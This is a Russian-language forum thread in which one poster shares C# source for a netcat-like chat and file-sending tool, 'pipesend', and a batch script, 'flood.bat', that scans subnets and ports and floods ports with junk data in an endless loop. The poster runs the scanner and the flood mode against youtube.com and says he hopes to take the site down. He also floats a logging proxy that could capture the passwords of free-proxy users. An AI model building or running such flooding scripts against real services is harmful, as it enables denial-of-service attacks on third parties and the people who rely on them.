pcixi.ru
Творческое объединение шизофреников
Лечение шизофрении творчеством и общением на pcixi.ru

Успешные хакерские взломы. Скачать свежие утечки и книги
Talomir #406 | Четверг, 01.08.2024, 14:04
Автор темы
Immortal
На вязках
Юзер-бар +
Кстати, скриптом flood.bat можно пользоваться не только для локальной сети, но и для интернет-серверов. Ниже, например, пример скана https://www.youtube.com на открытые tcp-порты суперпользователя:

C:/> flood --scanports www.youtube.com

Код
.ok
80 open tcp
.ok
443 open tcp


C:/> flood --crashport www.youtube.com 443



Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
Статус: нет меня
 
Talomir #407 | Четверг, 01.08.2024, 14:45
Автор темы
Immortal
На вязках
Юзер-бар +
TALK FOR WINDOWS: ПРОСТОЙ ЧАТ НА ДВУХ КОМАНДАХ


Под операционной системой UNIX изначально была утилита talk, которая позволяла поговорить с любым пользователем сервера по сети. При этом не было никакой привязки к телефону с ФИО, оплаты по тарифу за переговоры, и других проблем современных чат-монополистов. Под Windows такой утилиты не было.

В этом посте я рассказываю как сделать скрипт-чат на Windows при помощи двух команд, netcat (nc64.exe) и pipesend.exe

Для приёма сообщений: C:/> nc64 -L -p 8888

Эта команда начинает слушать порт 8888 и печатать входящие символы в своё окно (на экран, как говорили ранее)

Для посылки сообщений: C:/> pipesend 192.168.1.63 8888

Эта команда открывает консоль по чтению и пересылает все вводимые символы на удалённый TCP порт, 8888 в данном случае, который слушает netcat и печатает символы на экран.

Всё, при помощи pipesend можно говорить с любым, у кого на порту запущен netcat. Если вы находитесь с собеседником не в реальной сети, то у него должен быть реальный ip адрес, иначе соединение не зайдёт в NAT-локалку! Фото работы программ ниже:



Не надо платить Дурову за телеграм и говорить на прослушку ФСБ и психиатрической службы!



Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
Статус: нет меня
 
Talomir #408 | Четверг, 01.08.2024, 16:29
Автор темы
Immortal
На вязках
Юзер-бар +
УЛУЧШАЕМ СКРИПТ-ЧАТ: ОДНА КОМАНДА

Добавил режим прослушивания сокета --listen в утилиту pipesend, теперь можно сделать хак-чат без запрещённого nc64.exe

Для приёма сообщений: C:/> pipesend --listen 8888

Для посылки сообщений: C:/> pipesend 127.0.0.1 8888



Обновил ссылку на скачивание выше...

Код
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net;
using System.Net.Sockets;
using System.Net.NetworkInformation;
using System.IO;
using System.Threading;

namespace pipesend
{
    class Program
    {
        static bool done = false;
        static int port = 80;
        static void Main(string[] args)
        {
            if (args[0].Equals("-h") || args[0].Equals("--help"))
            {
                Console.WriteLine("pipesend: send a file to remote tcp port. Version 1.0");
                Console.WriteLine("USAGE: pipesend host_or_ip port <file.dat");
                Console.WriteLine("EXAMPLE: echo AA|pipesend 192.168.1.1 80");
                Console.WriteLine("USAGE: pipesend --listen port");
                Console.WriteLine("EXAMPLE: pipesend --listen 80");
                return;
            }

            try
            {
                port = Int32.Parse(args[1]);

                if (args[0].Equals("--listen"))
                {
                    Task.WaitAll(Task.Run(BindAllInterfaces));
                    return;
                }

                IPAddress ip = Dns.GetHostAddresses(args[0])[0];

                Socket sok = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                sok.ReceiveTimeout = 200;
                sok.SendTimeout = 1000;

                IAsyncResult result = sok.BeginConnect(ip, port, null, null);

                bool success = result.AsyncWaitHandle.WaitOne(50, true);

                if (sok.Connected)
                {
                    sok.EndConnect(result);

                    NetworkStream ns = new NetworkStream(sok);

                    Stream fs = Console.OpenStandardInput();

                    while (fs.CanRead)
                    {
                        Thread.Sleep(100);

                        byte[] buf = new byte[8192];

                        int r = fs.Read(buf, 0, buf.Length);

                        if (r > 0) { ns.Write(buf, 0, r); Console.Write("."); }
                        else break;

                        ns.Flush();
                    }

                    done = true;
                    try { ns.Close(); } catch { }
                    try { fs.Close(); } catch { }
                    
                }
                try { sok.Shutdown(SocketShutdown.Both); } catch { }
                try { sok.Close(); } catch { }

            } catch { }

            if (done) Console.WriteLine("ok");
            else Console.WriteLine("error");
            
        }

        protected static async Task BindAllInterfaces()
        {
            try
            {
                List<IPAddress> ip = new List<IPAddress>();
                NetworkInterface[] allNetworkInterfaces = NetworkInterface.GetAllNetworkInterfaces();
                foreach (NetworkInterface netInterface in allNetworkInterfaces)
                {
                    foreach (UnicastIPAddressInformation addr2 in netInterface.GetIPProperties().UnicastAddresses)
                    {
                        try
                        {
                            if (addr2.IPv4Mask.Address != 0L)
                    ip.Add(addr2.Address);
                        }
                        catch { }
                    }
                }
                List<Task> list = new List<Task>();
                foreach (IPAddress addr in ip)
                {
                    try
                    {
                        BindSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                        BindSocket.Bind(new IPEndPoint(addr, port));
                        BindSocket.Listen(500);
                        list.Add(Task.Run(Accepter));
                    }
                    catch { }

                    await Task.Delay(1000);
                }
                Task.WaitAll(list.ToArray<Task>());
            }
            catch { }
        }

        static Socket BindSocket = null;
        static Socket data = null;
        static async Task Accepter()
        {
            Socket bind = BindSocket;
            bind.ReceiveTimeout = 256;

            while (true)
                try
                {
                    data = bind.Accept();
                    if (data == null)
                    {
                        await Task.Delay(30);
                        continue;
                    }
                    data.ReceiveTimeout = 100000;
                    Task.Run(SocketReader);
                    await Task.Delay(500);
                }
                catch { }
        }

        static async Task SocketReader()
        {
            Socket DataSocket = data;
            try
            {
                Stream fs = Console.OpenStandardOutput();
                NetworkStream ns = new NetworkStream(DataSocket);

                while (ns.CanRead)
                {
                    byte[] buf = new byte[8192];

                    int r = ns.Read(buf, 0, buf.Length);

                    if (r < 0) break;
                    else fs.Write(buf, 0, r);

                    fs.Flush();
                }
                try { fs.Close(); } catch { }
                try { ns.Close(); } catch { }
            }
            catch { }

            try { DataSocket.Shutdown(SocketShutdown.Both); } catch { }
            try { DataSocket.Close(); } catch { }
            
        }
    }
}



Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
Сообщение отредактировал(а) Talomir - Четверг, 01.08.2024, 16:29
Статус: нет меня
 
Talomir #409 | Четверг, 01.08.2024, 19:20
Автор темы
Immortal
На вязках
Юзер-бар +
ФОТО: СКРИПТ-ЧАТ НА ОДНОЙ КОММАНДЕ DOS-А, ВМЕСТО ТЕЛЕГРАМА




Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
Статус: нет меня
 
Talomir #410 | Пятница, 02.08.2024, 12:08
Автор темы
Immortal
На вязках
Юзер-бар +
ГРУППОВОЙ ЧАТ С ИСХОДНИКАМИ ВСЕГО НА ДВА ЭКРАНА

WINDOWS LINUX MACOS


Раз уж я переписываю запрещённый netcat для своих нужд, и для релиза, то сразу добавил и чат (аналог talk в UNIX) и сделал его групповым. В режиме сервера pipesend биндит перечисляемые в аргументах запуска интерфейсы и ждёт подключений. Пересылаемые по подключениям данные сразу рассылаются по всему массиву подключений, пишет один - читают многие. Также, можно пересылать и текстовые файлы, перенаправив ввод клиента pipesend на файл. Исходники приведу ниже.

1 - чат без шифрования

На сервере с реальным ip: C:/> pipesend --listen 8888 127.0.0.1 192.168.1.63

слушать порт 8888 на интерфейсах 127.0.0.1 и внешнем ip (тут он указан гипотетический)

На клиентах без реального ip: C:> pipesend 192.168.1.63 8888

клиент соединяется с сервером, посылает и принимает текстовые сообщения. Нажимать enter дважды для пересылки своей фразы, чужие фразы отображаются автоматически. Работает и русский язык!

На клиенте для передачи текстового файла: C:/> pipesend 192.168.1.63 <file.txt

Для чата с шифрованием: запускаем pipesend на linux-сервере на интерфейсе 127.0.0.1 и добавляем в SSH пользователей для захода на linux и запуска pipesend 127.0.0.1 8888, так весь трафик будет зашифрован по открытому ключу OpenSSL.

Фотка разговора:



Фотка посылки текстового файла с исходниками:



Исходники на C# (скачать можно будет на днях, я дам ссылку когда поправлю флудер портов с использованием pipesend)

Код
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net;
using System.Net.Sockets;
using System.Net.NetworkInformation;
using System.IO;
using System.Threading;

namespace pipesend
{
    class Program
    {
        static bool done = false;
        static int port = 8888;
        static void Main(string[] args)
        {
            if (args.Length < 2 || args[0].Equals("-h") || args[0].Equals("--help"))
            {
                Console.WriteLine("pipesend: send a file to remote tcp port or run a chat-server, version 1.1");
                Console.WriteLine("USAGE: pipesend host_or_ip port <file.dat");
                Console.WriteLine("EXAMPLE: echo AA|pipesend 192.168.1.1 80");
                Console.WriteLine("USAGE: pipesend --listen port local_ip1 [local_ip2 local_ip3...]");
                Console.WriteLine("EXAMPLE: pipesend --listen 8888 127.0.0.1");
                return;
            }

            try { port = Int32.Parse(args[1]); } catch { }

            if (args[0].Equals("--listen"))
            {
                List<Task> list = new List<Task>();

                for (int i = 2; i < args.Length; i++)
                    try
                    {
                        IPAddress addr = Dns.GetHostAddresses(args[i])[0];
                        BindSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                        BindSocket.Bind(new IPEndPoint(addr, port));
                        BindSocket.Listen(500);
                        list.Add(Task.Run(Accepter));

                        Thread.Sleep(1000);
                    }
                    catch { }

                Task.WaitAll(list.ToArray<Task>());
            }
            else
                try
                {
                    IPAddress ip = Dns.GetHostAddresses(args[0])[0];

                    Socket sok = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                    sok.ReceiveTimeout = 300;
                    sok.SendTimeout = 300;

                    IAsyncResult result = sok.BeginConnect(ip, port, null, null);

                    bool success = result.AsyncWaitHandle.WaitOne(100, true);

                    if (sok.Connected)
                    {
                        //sok.EndConnect(result);

                        Stream fs = Console.OpenStandardInput();
                        Stream os = Console.OpenStandardOutput();

                        while (true)
                        {
                            byte[] buf;

                            int r = 0;

                            if (!Console.IsInputRedirected)
                            {
                    buf = new byte[1];
                    if (Console.KeyAvailable) r = fs.Read(buf, 0, buf.Length);
                            }
                            else
                            {
                    buf = new byte[8192];
                    r = fs.Read(buf, 0, buf.Length);
                            }
                            if (r > 0)
                            {
                    byte[] sbuf = new byte[r];

                    for (int i = 0; i < r; i++) sbuf[i] = buf[i];

                    sok.Send(sbuf);

                    if (!Console.IsInputRedirected) continue;
                            }
                            else if (Console.IsInputRedirected) break;

                            try
                            {
                    byte[] rbuf = new byte[8192];

                    int a = 0;

                    if (sok.Available > 0) a = sok.Receive(rbuf);
                    if (a > 0) { os.Write(rbuf, 0, a); os.Flush(); }
                            }
                            catch { }
                        }

                        done = true;
                        try { fs.Close(); } catch { }
                        try { os.Close(); } catch { }

                    }
                    try { sok.Shutdown(SocketShutdown.Both); } catch { }
                    try { sok.Close(); } catch { }

                }
                catch { }

                if (done) Console.WriteLine("ok");
                else Console.WriteLine("error");
        }

        static Socket BindSocket = null;
        static Socket data = null;
        static async Task Accepter()
        {
            Socket bind = BindSocket;
            bind.ReceiveTimeout = 256;

            while (true)
                try
                {
                    data = bind.Accept();
                    if (data == null)
                    {
                        await Task.Delay(30);
                        continue;
                    }
                    data.ReceiveTimeout = 1000;
                    Task.Run(SocketReader);
                    await Task.Delay(500);
                }
                catch { }
        }

        static List<Socket> clients = new List<Socket>();

        static object clients_lock = new object();

        static async Task SocketReader()
        {
            Socket DataSocket = data;
            NetworkStream ns = null;
            try
            {
                Stream fs = Console.OpenStandardOutput();

                lock (clients_lock) clients.Add(DataSocket);

                byte[] buf = new byte[8192];

                do
                {
                    int r = 0;

                    if (DataSocket.Available > 0) r = DataSocket.Receive(buf);

                    if (r < 0) break;
                    else
                    {
                        byte[] sbuf = new byte[r];

                        for (int i = 0; i < r; i++) sbuf[i] = buf[i];

                        fs.Write(buf, 0, r);
                        fs.Flush();

                        for (int i = 0; i < clients.Count; i++)
                            if (clients[i] != DataSocket)
                    try { clients[i].Send(sbuf); } catch { }
                    }
                } while (true);

                try { fs.Close(); } catch { }
            }
            catch { }

            try { DataSocket.Shutdown(SocketShutdown.Both); } catch { }
            try { DataSocket.Close(); } catch { }
            
            lock(clients_lock) {
                for (int i = 0; i < clients.Count; i++) if (clients[i] == DataSocket)
                    { clients.RemoveAt(i); break; }
            }
        }
    }
}



Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
Сообщение отредактировал(а) Talomir - Пятница, 02.08.2024, 12:10
Статус: нет меня
 
Talomir #411 | Пятница, 02.08.2024, 18:19
Автор темы
Immortal
На вязках
Юзер-бар +
ЕЩЁ РАЗ УЛУЧШЕННЫЙ СКАННЕР НЮКЕР ФАЗЕР ФЛУДЕР ПОРТОВ


Ещё раз улучшенный фаззер портов, в этом улучшении обновлён компонент pipesend.exe и улучшен вывод на экран. Привожу примеры и исходники, архив со скриптом и бинарниками закачаю для скачивания немного позже.

Код
FLOOD.BAT: flood local ip with generator's garbage to ports 1-1024 or a given port
USAGE:
flood --scan 192.168.1                   find hosts on local net and shows their names and IP addresses
flood --scan2 192.168                    find hosts on local net level 2 and shows their names and IP addresses
flood --scanports 192.168.1.1            scan open root ports on given host
flood --scanallports 192.168.1.1         scan all open ports on given host
flood --crash 192.168.1.187              flood with supplied phrase.exe generator (no and -a options of generator)
flood --crash 192.168.1.187 my_gen.exe   flood with user's my_gen.exe trash generator
flood --crashport 192.168.1.187 80       flood port with supplied phrase.exe generator (no and -a options of generator)
flood --crashport 192.168.1.187 80 my.exe     flood port with user's my.exe generator


Код
flood --scan 192.168.1

Сервер:  router.asus.com
Address:  192.168.1.1

Имя:     router.asus.com
Address:  192.168.1.1

Сервер:  router.asus.com
Address:  192.168.1.1

Имя:     WIN-J2G446M9P30
Address:  192.168.1.63

Сервер:  router.asus.com
Address:  192.168.1.1

Сервер:  router.asus.com
Address:  192.168.1.1

Имя:     Vladimirs-MBP
Address:  192.168.1.241


Код
flood --scan2 192.168

Сервер:  router.asus.com
Address:  192.168.1.1

Имя:     router.asus.com
Address:  192.168.1.1

Сервер:  router.asus.com
Address:  192.168.1.1

Имя:     WIN-J2G446M9P30
Address:  192.168.1.63

Сервер:  router.asus.com
Address:  192.168.1.1

Сервер:  router.asus.com
Address:  192.168.1.1

Имя:     Vladimirs-MBP
Address:  192.168.1.241

Сервер:  router.asus.com
Address:  192.168.1.1


Код
flood --scanports www.youtube.com

80 open tcp
443 open tcp


Код
@echo off

if "%1" == "--scan" goto Scan
if "%1" == "--scan2" goto Scan2
if "%1" == "--scanports" goto Scanports
if "%1" == "--scanallports" goto Scanallports
if "%1" == "--crash" goto Crash
if "%1" == "--crashport" goto Crashport

echo FLOOD.BAT: flood local ip with generator's garbage to ports 1-1024 or a given port
echo USAGE:
echo flood --scan 192.168.1                   find hosts on local net and shows their names and IP addresses
echo flood --scan2 192.168                    find hosts on local net level 2 and shows their names and IP addresses
echo flood --scanports 192.168.1.1            scan open root ports on given host
echo flood --scanallports 192.168.1.1         scan all open ports on given host
echo flood --crash 192.168.1.187              flood with supplied phrase.exe generator (no and -a options of generator)
echo flood --crash 192.168.1.187 my_gen.exe   flood with user's my_gen.exe trash generator
echo flood --crashport 192.168.1.187 80       flood port with supplied phrase.exe generator (no and -a options of generator)
echo flood --crashport 192.168.1.187 80 my.exe     flood port with user's my.exe generator

goto exit_me

:Crash

for /L %%P in (1,1,1024) do (

echo Pong %2 %%P TCP unicode
if "%3" == "" (cmd /C phrase.exe|pipesend %2 %%P) else (cmd /C %3|pipesend %2 %%P)

echo Pong %2 %%P TCP ascii
if "%3" == "" (cmd /C phrase.exe -a|pipesend %2 %%P) else (cmd /C %3 -a|pipesend %2 %%P)
)

goto Crash

:Crashport

echo Pong %2 %3 TCP unicode
if "%4" == "" (cmd /C phrase.exe|pipesend %2 %3) else (cmd /C %4|pipesend %2 %3)

echo Pong %2 %3 TCP ascii
if "%4" == "" (cmd /C phrase.exe -a|pipesend %2 %3) else (cmd /C %4 -a|pipesend %2 %3)

goto Crashport

:Scan
for /L %%Q in (0,1,255) do (
    ping -n 1 -w 20 %2.%%Q | find "TTL" >_1_%2%%Q
    if not errorlevel 1 nslookup %2.%%Q
    del _1_%2%%Q
)
goto exit_me

:Scan2
for /L %%Q in (0,1,255) do (
    for /L %%R in (0,1,255) do (
  ping -n 1 -w 20 %2.%%Q.%%R | find "TTL" >_1_%2.%%Q%%R
  if not errorlevel 1 nslookup %2.%%Q.%%R
  del _1_%2.%%Q%%R
    )
)
goto exit_me

:Scanports
for /L %%Q in (1,1,1024) do (
    echo GET|pipesend %2 %%Q | find "ok" >_1_%2%%Q
    if not errorlevel 1 echo %%Q open tcp
    del _1_%2%%Q
)
goto exit_me

:Scanallports
for /L %%Q in (1,1,65535) do (
    echo GET|pipesend %2 %%Q | find "ok" >_1_%2.%%Q
    if not errorlevel 1 echo %%Q open tcp
    del _1_%2.%%Q
)
goto exit_me
  
:exit_me




Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
Сообщение отредактировал(а) Talomir - Пятница, 02.08.2024, 18:42
Статус: нет меня
 
Talomir #412 | Пятница, 02.08.2024, 20:03
Автор темы
Immortal
На вязках
Юзер-бар +
CКАЧАТЬ ФЛУДЕР ПОРТОВ FLOOD.BAT И ГРУППОВОЙ ЧАТ PIPESEND

hack-13-pipesend-flood.7z



Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
Сообщение отредактировал(а) Talomir - Воскресенье, 04.08.2024, 14:53
Статус: нет меня
 
Talomir #413 | Суббота, 03.08.2024, 10:02
Автор темы
Immortal
На вязках
Юзер-бар +
ОБНОВИЛ РАЗДАЧУ ФЛУДЕРА

Это обновление улучшает юзабилити скрипта flood.bat

FLOOD.BAT: flood host with generator's garbage to ports 1-1024 or a given port
USAGE:
flood --ping 192.168.1 find hosts on local net and shows their names and IP addresses
flood --ping2 192.168 find hosts on local net level 2 and shows their names and IP addresses
flood --scan host scan open root tcp ports on given host
flood --scanall host scan all open tcp ports on given host
flood --crashport phrase.exe 80 host1... host6 flood port 80 on set of hosts with fuzzer phrase.exe
flood --crashall phrase.exe host1... host6 flood ports 1-1024 with phrase.exe generator

Теперь в режимах крэша порта и крэша портов рута 1-1024 можно указывать сразу до 6 хостов на запуск, все они будут крэшися одним окном. Это сокращает и набор на клавиатуре и неразбериху с окнами на экране.

Режим сканирования хостов сети теперь называется --ping и --ping2.

Режимы сканирования портов так и называются --scan для первых 1-1024 и --scanall для всех портов 1-65535. Ссылка на скачивание в предыдущем посту обновлена.



Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
Сообщение отредактировал(а) Talomir - Суббота, 03.08.2024, 10:02
Статус: нет меня
 
Talomir #414 | Суббота, 03.08.2024, 13:19
Автор темы
Immortal
На вязках
Юзер-бар +
ШИФРОВАННЫЕ МЕЖДУНАРОВНЫЕ ПЕРЕГОВОРЫ ДО 3 ЕВРО В МЕСЯЦ TUTORIAL


Арендуете линукс-дедик за 7 евро в месяц, наример в deltahost.ua

Ставите mono-complete через apt для запуска программ на C#

Заускаете pipesend на порту 7777 интерфейса 127.0.0.1

Заводите пользователей с надёжными паролями и ложите им в home утилиту pipesend (или прописываете путь к pipesend в PATH)

Всё, пользователи могут заходить через putty на сервер и общаться в общей комнате на порту 7777. Трафик до сервера при этом шифруется по открытому ключу OpenSSL, а локальный трафик localhost-чата не выходит за пределы оперативной памяти сервера, то есть переговоры получаются супер-надёжными, шированными.

На одном линукс-сервере можно запустить несколько pipesend, на разных портах, на интерфейсах localhost и внешнем, сделав множество чат-румов. На localhost-е - для общения с шифрованием, разные группы, на внешнем ip - для чат-румов без шифрования с Windows машин, общих чат-румов. Доступ к румам с шифрованием админ может контролировать паролями пользователей (например, пользователи могут скидываться на аренду дедика).

Общая стоимость аренды линукса в реальным ip, 7 евро, делится на количество пользователей в руме, не надо платить каждому как за телефон с Android. Так, если пользователей всего 2, то шифрованная связь обходится в 3.5 евро в месяц, а если пользователей около 7, например - программерская группа, то шифрованная связь будет обходиться всего в 1 евро в месяц, то есть в 10 раз дешевле телефона, и это - междунаровдная связь с шифрованием и без отслеживания!

Также, можно запилить коммерческий сервис шифрованных переговоров, арендовав дедик и беря с пользователей абонплату за шифрованное общение на сервере. При это бесплатные переговоры с Windows на публичном ip будут хорошей рекламой серверу.

Более подробно о pipesend можно прочитать в постах выше, там же скачать эту замечательную утилиту



Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
Статус: нет меня
 
Talomir #415 | Суббота, 03.08.2024, 21:12
Автор темы
Immortal
На вязках
Юзер-бар +
ЧЕТЫРЕ ОКНА FLOOD.BAT ЛОЖАТ СРЕДНИЙ СЕТЕВОЙ СЕРВИС


Всё серъёзно, я добавил механизмы синхронизации потоков на семафорах, чтобы не было гонок при старте обработчиков подключений. В ручной работе - работает многоконный чат.

Но вот на курилке решил запустить стресс-тест утилиты pipesend, при помощи неё-же в скрипте flood.bat выше, режим --crashport

И что-же, через две минуты работы 4 окон крэшера порта, мой pipesend сервер перестал отвечать. Это при том, что он занимает всего 2 экрана и ничего кроме чтения сокетов и файлов не делает. Флудер вместе с ИИ-генератором мусора завалили мою последнюю разработку за две минуты! Ваши сетевые программы пройдут стрессо-тестирование?

Будет работа на 2-3 недели, по повышению стрессоустойчивости, задача творческая, надо думать как к ней подступиться...


vietnamese accent



Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
Статус: нет меня
 
Talomir #416 | Суббота, 03.08.2024, 21:14
Автор темы
Immortal
На вязках
Юзер-бар +
Кто не может исправить ошибки в стресс-тесте - тот ламер!


Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
Статус: нет меня
 
Talomir #417 | Суббота, 03.08.2024, 21:44
Автор темы
Immortal
На вязках
Юзер-бар +
ПОНЯТНО ЧТО НА СИ-ШАРПЕ - ПИШЕТСЯ. ТЫ НА BATе НАПИШИ!

ПРОТОКОЛИРУЮЩИЙ ПРОКСИ-СЕРВЕР НА ПОЛ ЭКРАНА


Начал второй проект, паралельно pipesend-у и flood-у, протоколирующий прокси-сервер на.bat с pipesend, для снятия протоколов сайтов в первую очередь. Конечно, протоколирующий прокси можно выставить в сеть, засветить адрес в публикациях и попасть в фри-прокси-листы, писать пароли пользователей, юзающих бесплатные прокси. Студентам интересно, мне в 50 - не очень. А вот покопаться в протоколах сайтов интересно! В общем, планирую сделать и раздать, каждый будет юзать как хочет.

Идея запускать на порту pipesend, слушающий сокет и перенаправляющий поток байтов на настоящий прокси из free-proxy-list. И паралельным подключением логать это всё в файл и выводить в окно. Приблизительно это выглядит как в следующем черновике (пример кода на пол экрана наполовину работает, но очень медленно пока-что)

Код
@echo off

if "%1" == "" goto Usage

echo Starting proxy on address 127.0.0.1 port %1
echo THIS IS DRAFT: non-finished code

pipesend --listen %1 127.0.0.1 | pipesend --noeof %2 %3 | pipesend --noeof 127.0.0.1 %1

goto ExitMe

:Usage

echo USAGE: logproxy listen_port real_http_proxy preal_proxy_port
echo Set browser proxy to 127.0.0.1:listenport and drive browser to http://yoursite.com

:ExitMe


Если доведу, за несколько недель, то релиз будет в одном архиве с pipesend и flood.bat, набор сетевого хакера и тестировщика от меня. А пока что показываю окна с выводом этого полу-рабочего примера:





Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
Статус: нет меня
 
Talomir #418 | Суббота, 03.08.2024, 21:59
Автор темы
Immortal
На вязках
Юзер-бар +
Запустил www.youtube.com на тест, сайт заведомо уязвимый судя по сбоям 30 июля - 3 августа, может и flood.bat его уделает, и у меня будет кнопка 'выключить' раздражающую психо-обработку с андроида!




Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
Статус: нет меня
 
Talomir #419 | Воскресенье, 04.08.2024, 15:01
Автор темы
Immortal
На вязках
Юзер-бар +
БОЛЕЕ НАДЁЖНЫЙ PIPESEND И КОРОТКИЙ FLOOD.BAT


Я уже писал, что 3 и 4 окна флудера вешали сервер pipesend в режиме чата, исключение выбрасывалось из-за переполнения очереди listen-backlog в методе Socket.Accept и из-за ситуации гонок. Также, были плохо продуманы таймауты приёма-передачи и чтения-записи файловых дескрипторов, не все файловые операции обрабатывали исключения.

После всех этих исправлений чат-сервер pipesend уже выдерживает 3 окна flood.bat, лишь на время теряя работоспособность при переполнении подключений и данных флудом. По хорошему, надо вести счётчики соединений с одного ip и при больше 100 в минуту с одного адреса блокировать адрес на день, не пропуская соединений с него. Так называемая защита от tcp-флуда.

Исходники надёжного pipesend.exe приведены ниже, половина кода является обеспечением надёжности, вторая половина - логики работы.

Код
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net;
using System.Net.Sockets;
using System.Net.NetworkInformation;
using System.IO;
using System.Threading;

namespace pipesend
{
    class Program
    {
        const int RWTIMEOUTMS = 300, CONNECTTIMEOUTMS = 300, MAXCLIENTS = 25;

        static bool done = false;
        static int port = 8888;
        static int argsshift = 0;
        static bool NOEOF = false;

        static Semaphore _bind_socket = new Semaphore(0, 1);
        static Semaphore _data_socket = new Semaphore(0, 1);
        static Socket BindSocket = null;
        static Socket data = null;

        static void Main(string[] args)
        {
            if (args.Length < 2 || args[0].Equals("-h") || args[0].Equals("--help"))
            {
                Console.WriteLine("pipesend: send a file to remote tcp port or run a chat-server, version 1.3");
                Console.WriteLine("USAGE: pipesend [--noeof] host_or_ip port <file.dat");
                Console.WriteLine("EXAMPLE: echo AA|pipesend 192.168.1.1 80");
                Console.WriteLine("USAGE: pipesend --listen port local_ip1 [local_ip2 local_ip3...]");
                Console.WriteLine("EXAMPLE: pipesend --listen 8888 127.0.0.1");
                Console.WriteLine("--noeof  ignore EOF when input is redirected to file and continue wait data");
                return;
            }

            if (args[0].Equals("--noeof")) { NOEOF = true; argsshift = 1; }

            try { port = Int32.Parse(args[1+argsshift]); } catch { }

            if (args[0].Equals("--listen"))
            {
                List<Task> list = new List<Task>();                    

                for (int i = 2; i < args.Length; i++)
                    try
                    {                        
                        IPAddress addr = Dns.GetHostAddresses(args[i])[0];
                        BindSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                        BindSocket.Bind(new IPEndPoint(addr, port));
                        BindSocket.Listen(1000);                        
                        list.Add(Task.Run(Accepter));
                        _bind_socket.WaitOne();
                    }
                    catch { }

                Task.WaitAll(list.ToArray<Task>());
            }
            else
                try
                {
                    IPAddress ip = Dns.GetHostAddresses(args[0+argsshift])[0];

                    Socket sok = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                    sok.ReceiveTimeout = RWTIMEOUTMS;
                    sok.SendTimeout = RWTIMEOUTMS;

                    IAsyncResult result = sok.BeginConnect(ip, port, null, null);

                    bool success = result.AsyncWaitHandle.WaitOne(CONNECTTIMEOUTMS, true);

                    if (sok.Connected)
                    {
                        Stream fs = Console.OpenStandardInput();
                        Stream os = Console.OpenStandardOutput();

                        while (true)
                        {
                            byte[] buf;

                            int r = 0;

                            if (!Console.IsInputRedirected)
                            {
                    buf = new byte[1];
                    if (Console.KeyAvailable) r = fs.Read(buf, 0, buf.Length);
                            }
                            else
                            {
                    buf = new byte[8192];
                    try { r = fs.Read(buf, 0, buf.Length); } catch { }
                            }
                            if (r > 0)
                            {
                    byte[] sbuf = new byte[r];

                    for (int i = 0; i < r; i++) sbuf[i] = buf[i];

                    sok.Send(sbuf);

                    if (!Console.IsInputRedirected) continue;
                            }
                            else if (Console.IsInputRedirected && !NOEOF) break;

                            try
                            {
                    byte[] rbuf = new byte[8192];

                    int a = 0;

                    if (sok.Available > 0) a = sok.Receive(rbuf);
                    if (a > 0) try { os.Write(rbuf, 0, a); os.Flush(); } catch { }
                            }
                            catch { }
                        }
                        
                        done = true;
                        try { fs.Close(); } catch { }
                        try { os.Close(); } catch { }

                    }
                    else Console.WriteLine("can't connect "+ip);
                    try { sok.Shutdown(SocketShutdown.Both); } catch { }
                    try { sok.Close(); } catch { }

                }
                catch { }

                if (done) Console.WriteLine("ok");
                else Console.WriteLine("error");
        }

        static async Task Accepter()
        {
            Socket bind = BindSocket;
            _bind_socket.Release();

